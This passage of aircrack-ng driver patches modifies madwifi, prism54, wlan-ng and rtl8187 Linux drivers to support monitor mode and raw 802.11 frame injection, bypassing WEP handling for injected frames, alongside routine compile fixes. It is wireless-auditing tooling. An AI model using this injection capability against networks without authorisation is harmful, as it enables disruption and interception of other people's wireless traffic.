sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3046,7 +3047,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; Only in madwifi-ng-fixed/ath: if_ath.c.orig diff -dru madwifi-ng/ath_hal/ar5211/ar5211_reset.c madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c --- madwifi-ng/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:46:38.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:52:18.000000000 +0200 @@ -987,7 +987,7 @@ if (AH_PRIVATE(ah)->ah_macVersion < AR_SREV_VERSION_OAHU && ath_hal_getnfcheckrequired(ah, (HAL_CHANNEL *) chan)) { static const uint8_t runtime[3] = { 0, 2, 7 }; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int i; if (!getNoiseFloorThresh(ah, chan, &nfThresh)) diff -dru madwifi-ng/ath_hal/ar5212/ar5212_reset.c madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c --- madwifi-ng/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:46:41.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:53:24.000000000 +0200 @@ -1264,7 +1264,7 @@ { struct ath_hal_5212 *ahp = AH5212(ah); struct ar5212NfCalHist *h = &ahp->ah_nfCalHist; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int32_t val; if (OS_REG_READ(ah, AR_PHY_AGC_CONTROL) & AR_PHY_AGC_CONTROL_NF) { diff -dru madwifi-ng/net80211/ieee80211_scan_sta.c madwifi-ng-fixed/net80211/ieee80211_scan_sta.c --- madwifi-ng/net80211/ieee80211_scan_sta.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_scan_sta.c 2009-07-10 01:56:57.000000000 +0200 @@ -357,7 +357,7 @@ struct ieee80211_scan_state *ss, enum ieee80211_phymode mode, const u_int16_t freq[], int nfreq) { - struct ieee80211_channel *c, *cg; + struct ieee80211_channel *c, *cg = NULL; u_int modeflags; int i; @@ -1293,7 +1293,7 @@ u_int32_t flags) { struct sta_table *st = ss->ss_priv; - struct sta_entry *selbs; + struct sta_entry *selbs = NULL; struct ieee80211_channel *chan; KASSERT(vap->iv_opmode == IEEE80211_M_IBSS || diff -dru madwifi-ng/net80211/ieee80211_skb.c madwifi-ng-fixed/net80211/ieee80211_skb.c --- madwifi-ng/net80211/ieee80211_skb.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_skb.c 2009-07-10 01:54:54.000000000 +0200 @@ -464,7 +464,7 @@ * - Break the linked list, clearing next skb's prev pointer if possible. */ void ieee80211_dev_kfree_skb(struct sk_buff **pskb) { - struct sk_buff *skb; + struct sk_buff *skb = NULL; /* Do not fail on null, as we are going to use this in cleanup code. */ if (!pskb || !(skb = *pskb)) aircrack-ng-1.2-beta3/patches/prism54-svn-20050724.patch0000644000000000000000000000071310761053203020705 0ustar rootrootdiff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c --- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100 +++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200 @@ -758,9 +758,6 @@ pci_unmap_single(priv->pdev, buf->pci_addr, MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE); buf->pci_addr = 0; - if (buf->skb) - dev_kfree_skb(buf->skb); - buf->skb = NULL; } /* clean up data rx buffers */ aircrack-ng-1.2-beta3/patches/linux-wlanng-kernel-2.6.28.patch0000644000000000000000000002654711166027223022351 0ustar rootrootdiff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c 2009-04-04 22:53:46.000000000 -0400 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,11 +3122,32 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3588,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c 2009-04-04 23:13:53.000000000 -0400 @@ -1430,8 +1430,17 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } + cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3440,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); - - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4266,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c 2009-04-04 22:42:15.000000000 -0400 @@ -512,7 +512,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -524,7 +524,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -952,8 +952,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented (XXX: Why exactly do we remove this???) +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c 2009-04-04 23:18:35.000000000 -0400 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c 2009-04-04 23:20:58.000000000 -0400 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-beta3/patches/old/0000755000000000000000000000000012316431263015435 5ustar rootrootaircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.20v2.patch0000644000000000000000000056123610761053203020675 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-03-05 00:31:41.255175682 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int 